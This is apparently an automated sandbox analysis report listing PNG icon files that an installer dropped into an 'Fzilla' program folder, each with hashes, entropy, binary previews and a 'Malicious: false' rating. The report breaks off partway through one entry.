SSDEEP:	24:ykexPmVOQmBQ/GGNMJtv9bR30mbhJUng123gSD8rPvHvsq71eZ9gPAHQY0UzhYAb:soaJtF2mbhJj10gHHP7G9aAFhYAL/
MD5:	38C725C54639130D64B107192B0F9D73
SHA1:	4B11E3FC85322C7857E7CCC1E3265053F90AC9D0
SHA-256:	0E05CFD53CD5AD24A9752CFA3E7B62532E107B5892E171264DD5EDE862BF955B
SHA-512:	9BC3878856B4FF1F7063CB8811E6B011905FEF912E81226F3BC858534E9A72585E5584BBEA2C394B56EABB31A70730D777893B454142C96BE956A70461087FE0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W....../IDATx....#......g.x\|afff.....X..?.#....03....d..Ti...8.b...==...z..M....'+b!.....$L./....r...VZ5M.."".r...!....8.....k..^...O\|..................G.....h.~.#>......g......N..a\|..O.i..mnb8..:q..Y...B.Ng....Nj.>...'.y...w.DQD......o...n8s.....o.......w?....O-.cx.eY...]I.,f.ZH.......#....{..p.v.mn`...x.....VWW...70.Dd.S....]h5a ..E.q.3.\|..b.S.ZZ.M..L.t.>.y..jZ.......k.#..Fvv..s..]..#....}.[.E_...[o..^..i.66Pgs..8...<.....Au}@Q@.#.?N......#7o.)d8$H...p..#...h..MS...eHY..5b4"`,...PE .Gi.....dc...v..#..&...(.G..3..!$..r...FF.8A...u.....?..._.&..........(..,b[....APAT"i.v..{ 7 ....k.......'?.i.)..3........J...@..3..7.e..J......5.EH...&R....f..op.\.I..D@....... DC;...^.\|.....c4.i..5.-Z.....u.2.8Y.TG?e...a.XCt.a..&.n".....$K[.m.)BI.9.3j...P.4l..cq.. .=.9..ED.(B.. .........._.".0.$.."3z.TFC..c...F.1*...qE.&.Q.=c...Y..(...D.F,..2`m.....d\el.\!...E.qm...-....(...4...9"a&.q.&.7P...Br.....FE.P..Z...y.4.eYz..g ......E..M..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-E6V9H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3633
Entropy (8bit):	7.928242183547683
Encrypted:	false
SSDEEP:	96:fG3mvqPsVZ5j3XYXKuSTnOC2gZAlD/ttgOntAOPEJ:uG4K5jHY6uaOC2gZChHU
MD5:	E4394CC2583E17054278BB007E8B4676
SHA1:	4A03370E5CEAD41FC8AB6C49AF2B192F64FE7845
SHA-256:	CE4476801DDB21E930434A5E95DBFB633276BD47A184EEEE7F13715D17C97A4A
SHA-512:	D78FA4042103C67DE9954020C25AED5E23B6FE7DFB3F0D968AF50D81560CA22F1DF26C8D62A6857DD074B76519CDFF3C2B0A9DE09671BDA9530AC022F07E8417
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...x........W4p..'w8<.........z..~...;1$F<...........~....G.eR...]].D.......t..bcc...U.:u.D..."..w...^\:..+.&vzc..N..X....2..Q..8.......pGR..O<.)((....D.J.$......u]0.eY?.o...TP...z....k...@..i"...}.p:.p8...`..A....t.......'.>......4...v}.J.[$.......N,hw...mj...i....w....s~..s..F..y...2.5.=R...T.&...\...........\|(q......r.-.n....Z.3..v.....,T.2...$Bg....&....d{.QA...=??............{.. ..!..........]7.......I.....u....W....M..TP.U...N.....D>g...A.\7.....P/..`..AYF@..#.....=....je.{.e..D.._.V..z..,.....4...@...0...9......C.@ X>?b..8..EP...`..<E...a...B.M.C..M...<xp.z.....\3.s`..C.9............6... .n?.)O....4.-X.;.x..b.y......d.....C\|..z&!!.......8../.?.z!.g.A!..9...8]...[.r.... [....>.@+I......S.......r^Y.B:.QAH5i.....u_.n...`....^<..e .y.[c.C.u.DD.%<5&.......3./_........r\..."w....>...BC...s/H.E.3j. J..3..H...<<.a^q...V..*...Tp...9.I.{`..KG..>.RP..1....H.Chv".n...f3.A.......N.....j

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-EDTJR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1901
Entropy (8bit):	7.881672878420086
Encrypted:	false
SSDEEP:	48:Z5WJyDln+P56SmbIgbbq7iv8Uq5EPgWT2XlCmx3yHqtoM:/Wsn+P5hgbKitMTXlCmx3yHqtoM
MD5:	A19F6B61C0D8D767FCAC997893EC4EFB
SHA1:	8276380E8650768CD644DF3BD77C4DE837EFCA78
SHA-256:	3E63ABEB4CAF4780D1D5B4D7FDC6FA0CBB831BA5401B543B092A1DD98DE12EF5
SHA-512:	B3065D202DCF64FFC79CE6AD1329C648FA74019623BF1E1925BE0CAE0542B523DB17625AF504749DC85CA2B90399915D9896D632294B6C65BDBA2EAE908C3A05
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......4IDATx...T\...{....G........"8.......Q......S[}..cf}...?.........R..<.]<.y..YZZ.A..133;.}...._.A....:.%.}....r..R..5.n......>.9s AS..#.G...1999..........S.q..w...^..O..j.?....>[..!......A......k....^}@<.#.O...<<.D".P#...5.g..M.z@..`.Yf......rW..W.4.N.."..&.}..B.@PP.P..cc..Q.F)5.)0.j..\Qu(.4..2.......D.:}..=...w.}..'...EL\|.\|..._(i...w8!..(.Z\|u...?I.C......aC.[o....C.Z._.......WxN..FK9q...U..Koa........`.!;v.x...k....r......7n\...s"....~......F.-..k..u.hg4..Q.x<..P(l...........___...........<==.............(...@{@..g..E.H$...........!ha...A.,.N.\.(m.iW.......>22......b.......5..;b.d0ddd4.....j...i...;p.@...i~0Xkk..}C...N...988...'...~.@7'^..2.zl...?.&5T[[{._~9..W_.....4..r.L.wVHrb!.....1.....F.z.xi......O?=.F..N.$...v...g..e6...~..A......Kf..U.L....+...!a..,X.....w..a.X.Cnu.c.v....+^.G..a]D...@aa!...C@..=..R7+2PH.$.}.qC..............u)tP...`...+.....S.%...{..Iq.$h.#l....o.."..].Q.....'l.)....SLd......x..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-FMOHB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	685
Entropy (8bit):	7.612898091312105
Encrypted:	false
SSDEEP:	12:6v/7QMdoMAqIF2spEEq24sAKF8R+i7M1En5Eykbtf3N1pL6+DgnL5hkeBSqLuV:GoMAdPpPqaAKU+Q8EnK3bR3NHQVhXBSh
MD5:	FA12DDD61EDC428242293516F84D1459
SHA1:	21DDEA8522835B64C52DF5FBCC2A16763E59C778
SHA-256:	B654E469846083F157053C8CBBCEB94575AD5717A87C28D7B0D876157DBD710B
SHA-512:	A3166B73F8908DC15745AF9278444895DD8E18A93F84DCBAF5FD8CE3FA351B56BDD8A5BC099F4960011886FA7DBA40003700E14949C5E2E6FBFC951388509BD9
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....tIDATx...5..E.G._..gh..^X...... &GBl......t..s*.....m.w..k.I.1......~..[ .).@. . ./..!K../.\|..3...n.....B.Y.......^.M.`..@.....}u..p.9z.S...-.+I.3..J.8..LJ.B......=............A..;.. ...\..5.c...z.).....pDB....Z.Q3q<...l.'...F..1.+..ZQ...p..PjQk......Ea...#8....4.I......T.J.....O0..4..pyL.. Q.....>.IBPD=.?`..H.!..A.\|....32...bR...C.w.'.V7.p.Z.~..$....K..kYB.V8.{k.#...:.....Mr.....E...\|.`0......u2v..#....?{..At.V..m......u..M......w....`.?2.o.9...(.... .;....O....SW..E.+A......7..%.51..F.h.u.M9.?.....6.)..d...N.:q.......j3Sc.$d{;[[kk++....o}.+...AM...9.Qtfnjjbl..,k...6...........HIR.BYD...o.w.)p.6.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-FSC9L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2283
Entropy (8bit):	7.891705771745528
Encrypted:	false
SSDEEP:	48:wYIdbZuw+9RqJIe5/uKnHVZRkF2YN5pBrzEdTpB6b46WEt:wv3uX9RGIe5/uO3M2YNbBrodT7IYEt
MD5:	25B263DF6EB6B2D3FB2F68FD71738759
SHA1:	6CCACF3F6E5F8457650B256DDFDFB8417D11483D
SHA-256:	D5F1438E45C40F4C064F0A399D418B09B78858F366BFFDCD2EDB906EC4CC74D9
SHA-512:	87F50CB1BD31DD28A4DD2EAE9C74448DD19003526309998CE5F1A74ECDBBF98B2D20113161697F6290F793152DEC2691F32C07F1EE203D95AFD9A02B05CDC8CE
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t...F.$...233......}.......2.+/.....-.<Y:>en..w..._k..G.Z..9..#..V2....$4O..r{...\|....n../_.m.]J@l`:.....e...iC.{.}...K.9....!D>r0.s.k..eT.M...a!..8.........\|.....u....\|....p@......T..'p.q..Xa4NX......v..jz.<.\|.#bC...>.._..G.................../OU..NR-.wR......s.....m.w}..!.S.5 .....X@....B.....yN...uw.......?.c./...'......V1.......0....h..<....yn....\|-7..4..{'T.. X...."......J.......q..x.}Y..?FW..#x.Z....g..O......s........C..t...c....]fW...-...Z.5.h..X..t..4.HD.$.'.>P.F(.....N.(.5.....#R %.d.J...v..puy....!q...z.`-.......y.2?...1..S.1$.(. ...$.,.x..<X.........$.k..Q.#.8F.F....L....(..)K.x.C..f....l....Z1~..&l[...v.....Y.....Bx.Q...y...+...Zf..\|b..5..4..8%..rE.N>=......Gj[.....9.......T.Cy.)..z.. ......><.... .........=.J.......&.......pF.....L.F.........<..3...L.q......Q..7....A-\.:..]..I.`......[<..@#..f..@.X...u.K..;......z..)2N.r>..W.c....[@6W.....\|.gG..' .l...y.)...L:I...T:=.+oZz.q..w3.!.u....

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-FT3V4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1935
Entropy (8bit):	7.854020024414465
Encrypted:	false
SSDEEP:	48:0D/LfCJMCRPFFbQPz9XzmjfrN9H0UvKVVenTS7lRlVzcK:UCJMImz8jfrzHPSLenTS77lP
MD5:	5820281B66DE463951694B6B18E6185E
SHA1:	F211F8E494ADB325792BE3C171A2C89D459EA2C8
SHA-256:	2EBA5453C13F3624309326382BB28235781691C262DBF45E4B749308D254E4A6
SHA-512:	3744F5A7DB3B177FA965FF7B2271F5E1866137EA35339F802F85F58DF63F7265E27933489EBDA7CD43B72F26E3DC5DC2E84C61DFA5149BAC25476CA12F08A6B2
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......VIDATx..Z.p4..==...Y..m.ms...m#N.mM.......oUWgfzj...S.U...O..I.!...a.%._...8..3g.\|.#..D.G"..f.V8....X............_(..^.w......./.\|..c....H.cy.t..ZSS.rrrP[[..@r..N'4.K l6..K...z..m....0ZZZ....C.9.iii .. .}...kt...:.....6..Qp.\..8...,.QsQ.B.\Gkk+..k4.@k.......x .............w...[.u..FX.....%n.....z....t..Dj.f& .B.y......W_E.]..x...@B.}n..zc..._~.%.H...2E...`...:r.E...Q]]..G3..>2....Z.B..%....g{.......A..`.X.._.....$/..Y....B..m".z..#.....N.H.(jM......=......[X.q....}..e.X+.>.[7.o..C..N..+...}.x.(..2. P#j0.q... .Z}.G..(.}3{..1c...op..F.....$..'.`.).uk."...F.......1..A...[..Jz..H....l:..*;.C.C.:..^o\....$...b...P..l...C.......`$.....-......p..Wf+.L.<.(......s....)M99h,-5m..x%y......../..{9x.zB.P..h.6.....u'\.m...{.%..U.(%...Jc.".....:...N.;................2a...1.x...>...a....2.zd......o.};.^..We.e......!..>....sjJ.%.m..:.4.........U.V....eee8HM?"....z.#vF.F..c.k..5/C8.a...-.b+.....Bt~DM._..\vA....

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-FVODT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2871
Entropy (8bit):	7.90233796795438
Encrypted:	false
SSDEEP:	48:FWLA9A8OSnRojr2uaEARirKRBghPfvGYq55dRqjdcSdD72c+/2DGi8a/2GqH4PRU:FWLA9lfnu2uHAIrKghPfvGHRGD7J++De
MD5:	B258DDE4C540BB7CC02E285BA60AC811
SHA1:	296C63BD4D4E462B99DCDF53A68DB3CF569CFC9E
SHA-256:	44F1AC82B6FD4372880C553814D84579D33DAC6B87A899957EF963B25DC35BBB
SHA-512:	48E9FE25AB5B32EB0AB93EAFCCC7B6FFBEE7157E31DC30E3F01D219A4BAE486E94AAB2F9CED1B3EF4444DF9DEDB642F741077945AB4DAFF9458D531E79DC7432
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X.x...%..m7mR.+.q...}.......\|.....)e.'.d...+..J.a...G....Frp<......[.S'..G.c........m........5Xc7.zQ...z..2..4.....F....{........Z^`K.~.......1....g4,Dwn...c0{.g..._.}iKC.....}W....W.G;.al...'.-...E<.y.6..s./@U}......./}g.6...X...U..b..Ug.....U?.k....x..N4U.......7@dO...<....,...1W2..9..,A.u.!.8.a...o.v.Y...^>.'w....B.MI...e.>..\|.]....12..e.q..b1.M:A...@.E.+.P...R.A.]..;w...w!...`?..O...8......X.6..K.k.....1.q%.t...6..8!P.M=.S....1}.E.p....%.:.0.E..)?k....'`...9.e.A....I..7.;[C?J/.(cLY....D!. ...]......8..y?.7w008..d3.r{1\.R.......Il..;..D.S)...y...!.4..j... .L.....k1u.]gT.~..*..9..'{o...#.#...)..c.k.tUB.......Pm.!Vk.t. ..."G.!.....-8.OWkG........?..cM......s,~.C..Tu...y/..I{.L....^y.l......sb[...R.....P..!..Jm..}].q..V`.......o....../.=..qi.~..zn......9.X......a....`.i...jT(k.....[...U.e....k_.....:..d.........M.0OV..;0ez....j..5.X.c...5.........\|Tk#Z.....H$.I.......V3.l3..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-G99QF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2178
Entropy (8bit):	7.884905660837002
Encrypted:	false
SSDEEP:	48:/G0Hhvsy1lSA+/KYuyoqXpYqNjFS/w9RNtZfEbvcMIj6sLiwX:VrH+loW1tFS/sRpfMvBa
MD5:	E4D56043A101142B29A04667A8EE1707
SHA1:	727A1248A58D11A11638380609E8D370E4FB27B7
SHA-256:	6645FB53F2195FB6B1693AEFCC5EA21EA7765C189D42A2F5D9708A300C58E07F
SHA-512:	2AEA3D40E1FA37D128051A0436DB2105FE6F4431601E50A0B908B0BE6CC74F2043EA1CC11503DFD4B347C73121CA945ABE0130990360F4004DC792DF80FA6AA9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......IIDATx..Y.l$;.}.{..a.......,8ff..133333\|f...0c.4..&..k.Mv._W.....\Uv.4.Zc).1v..53H...]4. ..%.@..555/+...llll].n..j.\|&..zzz....".t.E.....4.y..F..y../..._..7.pCz.....rH....#.C.A...a.....>..........\|1Q.U.......7....={.`rr.D..R.4.PJ.!.....E....x.{.3.._..V..sh...\..._.f..^.................\3.kv..+V....................mO.....\|.3.y.^...AymH..1..l.s`Rl.M ....~..'..S8..X.Q\r..^q....{...!........E__..b.....I.G.y...G?......'...:5mmm...~.F..8.a.........~...-......T..t...h7.m.uk.i......#ej.b..x......F.~g...`?..O}..o..-yJ......-.<..k.<......jz.9g.u._....5.m...`.\|........A")D$.D....NN.o..,.&..K...p...P.c.....O...W.......t2...\|.E...j..wP.......L.KZ:.B..Q.Q.....'m..........J.....m..h.....6..G.......%o.R.BSS.......5..`..&cr...E......ltyS....f..f..u......s..{....5$..&..x4.....(.B.6s.....6..d.....r.f`...%;)..6....1.......E7;..].$ .....d.........0~...l:..@..d.b.."...D@.}k........-W...1....{.y.6.......rQ!....i.......l

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-GIH4H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3527
Entropy (8bit):	7.925284146947221
Encrypted:	false
SSDEEP:	96:E9WEX7k3OxbiSIpGWQxkbQXeaulFyVE6ztPSPeL/XWMM:E9rX7k3OxB9abwwqzmMM
MD5:	23FB03E96EE59D6F8A4757CE5959970F
SHA1:	DC479D457E98E954C7F44AB0E2A31D6122306014
SHA-256:	4AAFE95357E4147AEE94EE32F2B7FE9BC63EE587CDE4589BA775EB1B83D817B3
SHA-512:	4572B19DF98FE6CFEB015212186EAFB7585658B61BEDAD7EE5772FD466EDB75BFA5770DB0E7B987A743002E4C4F73FAFA6097FFC3DE07B64D1C9A1C28DF86C3A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y...G....a...,..}.f.33....w........ f.v....~.......xY]S...3.2~...1.}.^............S{s...J..D"..u#.B.4C.A.R).<x.w.uW.U..7\...k........W(.G....6...A.g.?.qB.0B.W..8p.kw.yg...m.N.(....L.}.Z."..H...Q.$x...]]]H&....?.>.k :u..SG.P.\..5a...}..m.}..d2.......;....=w{f.....tB2.....'.M$.z..+.`........,-..q.-k..}...d.\|..k^.'...g4..f.d".Q.[..:D...,..bbb.FM@.....D..k......H.a:M.V..m......Z...E,.\|....'.`.p...VAF.v..#....f. )"...(3...8...4.."\|...A.....4C..#...B.2.V.Bi.. ..f.B2..:.EK....h6.C..Z......O..O.o7k..M.?.C."....yM...4`.........d..C.........JR.b.q..b(R.G......0.B.)...x mSD.5.....A.X.....:.8......DP..;...d.L.."m.,...o..F#`.....5CD>......".UeX-..?..l..f.'..:!brAs.2P.B,..#...4b..p.{.oJ..l.u^.r-..w .EXP..c...y....0.{.Z."..t...T.gV;.~......%.u.....\|%....\o...W.4j...%.G..l.u...0[..M....@'..\|....dfI.xO.O..e...?M@.)>o\|lp........m..T..l,...[R..{..........Op.T.....:..C......p..........h.3.,...\7... 4r....Ed..F.\.....o..9q..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-HGNQP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1519
Entropy (8bit):	7.848203204634222
Encrypted:	false
SSDEEP:	24:kHCJOycJJIF3M6Lxvh/4LJ9DEIeDP3NhQ4e2QD0mpbFhjWIgjn:F8ycf6L1h/4jAW4sAg/WIe
MD5:	C65B2DE683E76F0CC41193B3DE27DA25
SHA1:	06EBB9E38DC11A07A39CA398A55DCFB1E85F5EDC
SHA-256:	DE6CE90556D25A59EDE052F54B68E1C36B04E0C6FC34A01CA0895684471EB2EC
SHA-512:	C69AD9F981BF9A5A9FF07889129B49DE861AC01268240F86B6FF2FFCDD01D1A3013C8AB54E8FE16A9D0E0276FC934FCA6B28E1456FEABA98CE8B767C163A7A13
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...xdY....mo..m..L....m.F..6b.../o...wq..q.E.....X.K.........>.{M.x.7.v.G.4......._....e....N.AR.Z...`..x...xxr...4.~../..`.:X~..n.v..... i#!.....( ..+.....uybzL.G...4E1p...e..k.}8..:.&_j.@..i...bu....n...~B..M......"_...;.....0...q....2../uo.$?..G.u.lK....J. B...cAI.?.Zuiz.....G......O.X.....iM-o..e..z.{.g.<-.#........1.~b..9..&.?h(N..7.$....B.....L)@..=:.4.'..../...~...E.....3.x.(\|H5.Z:.8...... .....!B...\..C......'@...P..`.<=..3....e.`......d..}6Q...X..Wh.S8V..p&o.......X=.<t=mw=...m.`.@.Gk&....T.....M./..o.......y........<.d....y...X..4.7....%vr..".6..XY .o^i.y2+.V.wy&.7~.o...[G.@Q\'2.b.R......e..U...ezX.2./3?5.9.k...p..2.r...._.`.:..;...j.c..y....JUp3m._m.......J...Q..~h~F....sAS......q9.k...L...,..c...\|...S...t..!6.2Df...PZ.j~ZLK...R.Z.+......m..XO.`(I....:.....e.68jX.k.(.V...H...7...8g)2.d..8...*.....8c^.x.....`....'........y....)XiH...N.p..-yADuf...p&~..]bmTL...=.iPSW..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-HJJ0J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3285
Entropy (8bit):	7.929718501382609
Encrypted:	false
SSDEEP:	96:VBE8hPRCXYbD3wAuNM9GHez6rUM6q0ElBBcpwH3:bzPRCIbsAJGHCsBBcpm
MD5:	7CB1973BCDE7A5F231FB826668649684
SHA1:	20A2B67270C4A1E5B1D8F3C0519195581C1FD5E1
SHA-256:	39941E1A7D07351E19435F072667A81548B7857F11A45363F516EDEB576C532C
SHA-512:	542F5453C9E24998403400A7AFB3D4358C313AF06FAFB1BCE9AE830B9FC4389B9A2F872A08A16BCF64FCCDD2F5CF390E462DA741CE6FE00CE0981B4ECE17A626
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.X...~il............1.n....h.n.G...C......0..<..5.h..x...{.>._....z..K.M.J...^.A..`R...Q.4..F.)....0...{....3.zi.....y}.:.....5pS..s......wS..........+.1e.5...tx.:?N.1.K.!....T1....@.m<.(..YaYL....1......+\|)I...../...l/.....'g......7.,..Z2.h.O..>.?.=.+..V8?\|B.6...!.sAp..q....W.....pEa..../.E..v..$..:g2.x3\.CoG.m.4pJY...5S.....f..fS..X&...p=u/.NX..............2..Kx.v.[T.0....m.?:,...h......`.?..}:.....9.^a..m.@.2...............f.Xs&.......>.~..>..&R.<.I......uXra.C{.l....................'....W.E...R..L)..f..?..n....3.N.....m_:.,.}..G..P-....l,......_.C....3.Bt....v..p..g.....mKG.....`Z..........#<.~}?...#]N".......y.J..~."DO...%.]...ZY...p.....uN.)O...(.\.......T8...Z......l..m......q3.......4z..4..uq>..^............j...}...\|*..O....$.V....2.s..<.p....o.p..@..........ro..K........R.3H..?..=.W.bZP....................oH...."...d.7.^...gBi.Da.;...::w6i.x}9.~9.."~CV\.+}R.u90..h.....b.W.}9....#I.4+.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-IU51P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1806
Entropy (8bit):	7.828845708925566
Encrypted:	false
SSDEEP:	24:mQP8CyETU29Vo53vbyBlKdxMBrKv8i2tuVT43vlqbJ3gYRst4xosHcHot4dQHlAn:mITT9Vo53vbhKb4IvRYew3SvSltd8b
MD5:	75FC9278853F1361D2538531CBBDF467
SHA1:	0CA385CCDB33FA883B392C749BE14A9865E2D4FA
SHA-256:	BE84A32CEF2D89E6DB8F055615F7E37B0EEC8250AA503F93B29985D573877D45
SHA-512:	9E7039F5444FC90723972C67C33F656EE1E24A942B1E9422A1926563D570A746CA69469088EDD651FFC28A99ABD3DA1716101F917141926363A64E89995B78DB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y..+Y....m.U....ui.o.m...l#.=sk:5;......W.T..7....:...d.z....M..:...:._...x..7c....F..AN......U.V.}...........7...-.P.lY%::.........V!.-yjYDvv6...R.2e...T..J.... ..^..p+....B........"....>....@....O.0a.;......8p m.E....^...6lH.D.7..'O......f.U..FC.....(//...;...@.i.sY;r.H....a.~aa!..........0{......0."B...Va<..<......).........0..z.m.Q.M.!.B..3..........!.C4../].v...K...\|/....i..F....bl#`.p.O....).\|/.~........>}.q....xOj....Z.._\|...Y..dp..qj..o)....... L..\F].a...b..b ..Nhy.........@4U...~(...g.R.V..SH...'.0^.Ul.e.x.b)...............r..._...H.8.P......."...g.......<...+63..+WN..Fff.w.X". %%EK#.".s..q....%8.U.V.,..{...)...b.}.p..."..`.8.C.w.y.O~.....S..D....s.,H!.PA..-...E_..Y......S.......(....>..{...^A.....0EQB...y..~...X.C.E8..s"1~$&t..j.Z...u'...5fa..F...8@fa'..a+.;. ..#..DF._...._..J(..F..c.~...f..&...U....{.F..0.{...3g.@.E.WQU...O...L.....'O.`..Q..(....jC............[.T.....0.....c.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-NDB66.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3135
Entropy (8bit):	7.91902628576473
Encrypted:	false
SSDEEP:	48:KKBehCoYIdaWcgw75JFrbHTohEk8S1JIT7OK55E8MUEHpLVFpyOOz/SyM85aRe4F:fUhIISHUyYHITjEAEHpxVOOyMKoF
MD5:	F1A152170ADF3111FACA8DBE8397AB4B
SHA1:	6F00B7BCAB6243E2E3EAB8248DDB5A6C61D2B1E9
SHA-256:	6DD5105CD1B810F2753F990438EB50FC3A59CC93DADD714AFEF9B06AB6DAC970
SHA-512:	296E9EFBC64ABC16B0696C26225C8B6DB45294D71EC39628242A8F6373319354195A078834165DD95A418D432ED7209638B5E2D478E3A515A8502AC9A35C7A58
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$Y..s.Um.pm....g.m..5g.6.i...2.=...7r+k.'....=.....#..W....r)..X.........6%....=..............8.#D..h. ...0.....$\...r!......!..C,`.%..%...7..Qmpx.j{..(..8...f,..&SaM..f.-..+.......O3...S..s..p.%}....(PD.T...(X.T...~{,1....L...)1.F...wVO..0.r..a..=...7.]X.R..5`U.....O3.,s.U.VM.<0....D&._I7.V}:.....^.....f.3..M..0x)i...ZUH.+R3b..Pf...X..c!...L......w1.-.....K.A.V".$......5t.....3F..".m/k..X/{aMH.TT.rJY!.....G.6RT.,K.O.SY.o2P..Cvi.......V.r.....\G7k@.@..%.T-..y.K.9$F.@....gB..4;.X.Z..Ubg..u......{..T ..88......._..:H....p.\U}.._AM..5.od.L.-..v3.lk&.....?.k....b.....]m`.u.A......S.......~.>.BM.8X.rXWY..)>1..g... .4.....s...8..8T..w.J...n...."~7<.K....Pk........s.tN.@.z@G.=Z..../....J....].Z..xx/..I..Z.7...%.Y2..x..:S..JKyK.X...>.b..7...G....U.2.K.KU>...S......tu....3.$Yx7.}{z..8....0.(.AM<.)\|f...(d...Z.)h.....Y5..........t.y.....8...m..0.K..V.,....5=........h1..%..k...m..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-OLCJU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.864312517363015
Encrypted:	false
SSDEEP:	48:uhTNfqGX9DMjOQzKJ4JjEBAHpEgzaW90ixGIs9:uhTNfqs9DE99JOIs9
MD5:	72B0A7F7B84E12502744371AD1F06B8E
SHA1:	802ACC403D8F9F3ADEAD854118366974F059648D
SHA-256:	A68AF73B86B1466578841F4306D3ACCF7E354807EE9C295B3BF80A4D94BB408D
SHA-512:	FD53B341CF431B9C05D423A02DCBBDC59F76C9D33A66B6FF1B17623FCA2B8BBA00C5B8D08346BA7BA51C3D970ECCCE788FACEC7813531368A486CBD1F0CDE120
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......^IDATx...t.]..g..f..a...m3............X.......l...s......{;C}(n.1..{...w..\.t)`......p.T...@.AHH.H$.HOO...PX.r."..!...-64\|.Z.._...'DDD........K u...%K.S&M..J........,#.0aB..d....6A.......c...s....?n.055.~..I.$?..<c..........V...1c.J`.......7..?..:t. .H[..z.#PWT.$.\|}.'sV..-(y....v..[.n.c..?r......=z. `aaA.bF....RO.~.....XZZ......[.B...."......F..d<<< 11.D"....CU\.)...m..r........Y..;......3..>y.....ot.kk.....>K....$p.r....j.. y.(...yj...>}:..?..3.K.,....L.......,..w..8u...b.7/_.'..3.....@..Y..w.@\|.Q1...F........9r$.W.^\|.........$-@&...{P]]........Nd.e 62...P...._O.0.b..6Q..---..<...7!......Q....7n.\...L...Y..&+.J.. V]=/ZIIYn.#F..`Y5.`..P??.55.).<z4..].... 66..0.....3...@....3v...`..b..H .......26.bZ....(...........Q.b....c.1...L..^. VC..[..(>.J.......\.6.]..E.........x.G... 11.....-H..#FE.pq.i.<....X.+...6;[z4.qg.....m...."..~<.j..:t.Sy``M.X..8..q.@....I2.E...du&.w6.@....V''C..u.....D..28...#...u.{G.S3.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-P49AR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2547
Entropy (8bit):	7.908095890900794
Encrypted:	false
SSDEEP:	48:fTLVnfuSnUFPcNDhzr/E1M6A7xYJWWZbBYMJdJGTLsNHAfHcDogMrUIPSPIFEUGy:bL1fRnAo/E1M6AipdB7dQcH8UCbGRAt
